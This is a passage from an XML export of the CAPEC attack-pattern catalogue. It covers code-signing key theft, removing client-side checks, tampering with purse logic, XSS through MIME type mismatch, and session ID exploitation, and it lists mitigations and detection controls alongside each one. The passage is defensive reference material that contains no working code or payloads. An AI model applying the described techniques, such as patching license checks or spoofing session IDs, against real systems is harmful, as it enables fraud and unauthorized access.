						the code has not been modified since the signature was applied. If the
						attacker has extracted the signing credentials then they can use those
						credentials to sign their own code bundles. Users or tools that verify the
						signatures attached to the code will likely assume the code came from the
						legitimate developer and install or run the code, effectively allowing the
						attacker to execute arbitrary code on the victim's computer.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted developer must use a signing key to sign code bundles. (Note
						that not doing this is not a defense - it only means that the attacker does
						not need to steal the signing key before forging code bundles in the
						developer's name.)</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>68<!--Subvert Code-signing Facilities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="207" Name="Removing Important Functionality from the Client"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker removes or disables functionality on the client that the
						server assumes to be present and trustworthy. Client applications may
						include functionality that a server relies on for correct and secure
						operation. This functionality can include, but is not limited to, filters to
						prevent the sending of dangerous content to the server, logical
						functionality such as price calculations, and authentication logic to ensure
						that only authorized users are utilizing the client. If an attacker can
						disable this functionality on the client, they can perform actions that the
						server believes are prohibited. This can result in client behavior that
						violates assumptions by the server leading to a variety of possible attacks.
						In the above examples, this could include the sending of dangerous content
						(such as scripts) to the server, incorrect price calculations, or
						unauthorized access to server resources.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker probes, through brute-forcing,
												reverse-engineering or other similar means, the
												functionality on the client that server assumes to
												be present and trustworthy. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker probes by exploring an
												application's functionality and its underlying
												mapping to server-side components. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker reverse engineers client-side
												code to identify the functionality that the server
												relies on for the proper or secure
												operation.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The server relies on some functionality on
												the client for correct and secure operation.
												</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The server does not rely on any
												functionality on the client.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of functionality on the
												client that the server assumes to be present and
												trustworthy.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Use obfuscation and
												other techniques to prevent reverse engineering
												the client-side
												code.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine which functionality to disable
											or remove</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker tries to determine which
												functionality to disable or remove through
												reverse-engineering from the list of functionality
												identified in the Explore phase.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker reverse engineers the
												client-side code to determine which functionality
												to disable or remove.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker understands and
												can disable or remove the critical functionality
												from the client code.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Use obfuscation and
												other techniques to prevent reverse engineering
												the client-side
												code.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Disable or remove the critical
											functionality from the client code</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Once the functionality has been determined, the
												attacker disables or removes the critical
												functionality from the client code to perform
												malicious actions that the server believes are
												prohibited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker disables or removes the
												functionality from the client-side code to perform
												malicious actions, such as sending of dangerous
												content (such as scripts) to the server.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker can perform
												malicious actions that the server believes are
												prohibited.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Use obfuscation and
												other techniques to prevent reverse engineering
												the client-side
												code.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>For any security
												checks that are performed on the client-side,
												ensure that these checks are duplicated on the
												server side.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> The targeted server must assume the client performs important actions to
						protect the server or the server functionality. For example, the server may
						assume the client filters outbound traffic or that the client performs all
						price calculations correctly. Moreover, the server must fail to detect when
						these assumptions are violated by a client. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker reverse engineers a Java binary (by decompiling it) and
							identifies where license management code exists. Noticing that the
							license manager returns TRUE or FALSE as to whether or not the user is
							licensed, the Attacker simply overwrites both branch targets to return
							TRUE, recompiles, and finally redeploys the binary. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To reverse engineer the client-side code to disable/remove the
							functionality on the client that the server relies on.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must have access to a client and be able to modify the client
					behavior, often through reverse engineering. If the server is assuming specific
					client functionality, this usually means the server only recognizes a specific
					client application, rather than a broad class of client applications. Reverse
					engineering tools would likely be necessary.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: For any security checks that are performed on the client side,
						ensure that these checks are duplicated on the server side. </Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Ship client-side application with integrity checks (code signing)
						when possible. </Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Use obfuscation and other techniques to prevent reverse
						engineering the client code.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The client code</Text>
			</Injection_Vector>
			<Payload>
				<Text>Malicious code or modified value in the client code</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client Side and Server Side</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>By pass the authorization check </Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2009-0247</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The server for 53KF Web IM 2009 Home, Professional, and Enterprise
							editions relies on client-side protection mechanisms against cross-site
							scripting (XSS), which allows remote attackers to conduct XSS attacks by
							using a modified client to send a crafted IM message, related to the msg
							variable.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/22.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>184<!--Software Integrity Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="208"
			Name="Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker removes or modifies the logic on a client associated with
						monetary calculations resulting in incorrect information being sent to the
						server. A server may rely on a client to correctly compute monetary
						information. For example, a server might supply a price for an item and then
						rely on the client to correctly compute the total cost of a purchase given
						the number of items the user is buying. If the attacker can remove or modify
						the logic that controls these calculations, they can return incorrect values
						to the server. The attacker can use this to make purchases for a fraction of
						the legitimate cost or otherwise avoid correct billing for
						activities.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted server must rely on the client to correctly perform monetary
						calculations and must fail to detect errors in these calculations.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have access to the client for the targeted service. (This
					step is trivial for most web-based services.) The attacker must also be able to
					reverse engineer the client in order to locate and modify the client's purse
					logic. Reverse engineering tools would be necessary for this.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>56<!--Removing/short-circuiting 'guard logic'--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="209" Name="Cross-Site Scripting Using MIME Type Mismatch"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker creates a file with scripting content but where the specified
						MIME type of the file is such that scripting is not expected. Some browsers
						will detect that the specified MIME type of the file does not match the
						actual type of the content and will automatically switch to using an
						interpreter for the real content type. If the browser does not invoke script
						filters before doing this, the attacker's script may run on the target
						unsanitized. For example, the MIME type text/plain may be used where the
						actual content is text/javascript or text/html. Since text does not contain
						scripting instructions, the stated MIME type would indicate that filtering
						is unnecessary. However, if the target application subsequently determines
						the file's real type and invokes the appropriate interpreter, scripted
						content could be invoked. In another example, img tags in HTML content could
						reference a renderable type file instead of an expected image file. The file
						extension and MIME type can describe an image file, but the file content can
						be text/javascript or text/html resulting in script execution. If the
						browser assumes all references in img tags are images, and therefore do not
						need to be filtered for scripts, this would bypass content filters. In a
						cross-site scripting attack, the attacker tricks the victim into accessing a
						URL that uploads a script file with an incorrectly specified MIME type. If
						the victim's browser switches to the appropriate interpreter without
						filtering, the attack will execute as a standard XSS attack, possibly
						revealing the victim's cookies or executing arbitrary script in their
						browser.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim must follow a crafted link that references a scripting file
						that is mis-typed as a non-executable file.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim's browser must detect the true type of a mis-labeled scripting
						file and invoke the appropriate script interpreter without first performing
						filtering on the content.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have the ability to source the file of the incorrect MIME
					type containing a script.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>646<!--Reliance on File Name or Extension of Externally-Supplied File--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2001-0999</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Outlook Express 6.00 allows remote attackers to execute arbitrary
							script by embedding SCRIPT tags in a message whose MIME content type is
							text/plain, contrary to the expected behavior that text/plain messages
							will not run script.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="21"
			Name="Exploitation of Session Variables, Resource IDs and other Trusted Credentials"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Attacks on session IDs and resource IDs take advantage of the fact that
						some software accepts user input without verifying its authenticity. For
						example, a message queueing system that allows service requesters to post
						messages to its queue through an open channel (such as anonymous FTP),
						authorization is done through checking group or role membership contained in
						the posted message. However, there is no proof that the message itself, the
						information in the message (such group or role membership), or indeed the
						process that wrote the message to the queue are authentic and authorized to
						do so.</Text>
					<Text>Many server side processes are vulnerable to these attacks because the
						server to server communications have not been analyzed from a security
						perspective or the processes "trust" other systems because they are behind a
						firewall. In a similar way servers that use easy to guess or spoofable
						schemes for representing digital identity can also be vulnerable. Such
						systems frequently use schemes without cryptography and digital signatures
						(or with broken cryptography). Session IDs may be guessed due to
						insufficient randomness, poor protection (passed in the clear), lack of
						integrity (unsigned), or improperly correlation with access control policy
						enforcement points.</Text>
					<Text>Exposed configuration and properties files that contain system passwords,
						database connection strings, and such may also give an attacker an edge to
						identify these identifiers.</Text>
					<Text>The net result is that spoofing and impersonation is possible leading to
						an attacker's ability to break authentication, authorization, and audit
						controls on the system.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the application for Indicators of
											Susceptibility</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a variety of methods, until one is found
												that applies to the target system. the attacker
												probes for credentials, session tokens, or entry
												points that bypass credentials altogether.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider all available pages</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attack known bad interfaces</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Session IDs are used</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-ClientServer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Open access points exist that use no user
												IDs or passwords, but determine authorization
												based on message content</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Session IDs are
												identifiable</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>Open channels are
												available</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Detective">
												<Security_Control_Description>Monitor velocity of
												feature activations (non-web software). Humans who
												activate features (click buttons, request actions,
												invoke APIs, etc.) will do so far slower and far
												less regularly than tools. Tools make requests
												very quickly and the requests are typically spaced
												apart regularly (e.g. 0.8 seconds between
												them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Fetch samples</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker fetches many samples of a session ID.
												This may be through legitimate access (logging in,
												legitimate connections, etc) or just systematic
												probing.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>An attacker makes many anonymous connections
												and records the session IDs assigned.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>An attacker makes authorized connections and
												records the session tokens or credentials
												issued.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>An attacker gains access to (legitimately or
												illegitimately) a nearby system (e.g., in the same
												operations network, DMZ, or local network) and
												makes a connections from it, attempting to gain
												the same privileges as a trusted system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Trust in the system is based on IP address,
												MAC address, network locality, or other general
												network characteristic.</Text>
												</Indicator_Description>
												<Environments>env-CommProtocol env-ClientServer
												env-Peer2Peer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Web applications use session IDs</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Network systems issue session IDs or
												connection IDs</Text>
												</Indicator_Description>
												<Environments>env-CommProtocol env-ClientServer
												env-Peer2Peer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Systems or applications grant
												trust based on logical or physical network
												locality.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>Session identifiers
												successfully spoofed</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>No session IDs can be found or
												exploited</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor logs for
												unusual amounts of invalid
												sessions.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor logs for
												unusual amounts of invalid connections or invalid
												requests from unauthorized
												hosts.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Impersonate</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker can use successful experiments to
												impersonate an authorized user or system</Text>
										</Attack_Step_Description>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Analyze logs for users
												or systems that are connecting from unexpected
												sources.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Analyze logs for users
												or systems successfully requesting or performing
												unexpected actions.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Corrective">
												<Security_Control_Description>If heuristics are
												sufficiently reliable, disconnect hosts or users
												that appear to be unauthorized
												impersonations.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Bad data can be injected into the system by an
												attacker.</Text>
										</Attack_Step_Description>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Unauthorized data is injected
												into an application.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Apply heuristic
												evaluation to input data. This can include
												validating source addresses, user names, ACLs or
												other data that indicates authorization. This need
												not be done inline at the time the data is
												processed, but can be done after the processing
												has occurred to detect
												attack.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Corrective">
												<Security_Control_Description>Apply
												transaction-based logic to systems whose initial
												authorization cannot be better controlled. Roll
												back transactions that are subsequently determined
												to be fraudulent or
												illegitimate.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Server software must rely on weak session IDs proof and/or verification
						schemes</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Thin client applications like web applications are particularly
							vulnerable to session ID attacks. Since the server has very little
							control over the client, but still must track sessions, data, and
							objects on the server side, cookies and other mechanisms have been used
							to pass the key to the session data between the client and server. When
							these session keys are compromised it is trivial for an attacker to
							impersonate a user's session in effect, have the same capabilities as
							the authorized user. There are two main ways for an attacker to exploit
							session IDs.</Text>
						<Text>A brute force attack involves an attacker repeatedly attempting to
							query the system with a spoofed session header in the HTTP request. A
							web server that uses a short session ID can be easily spoofed by trying
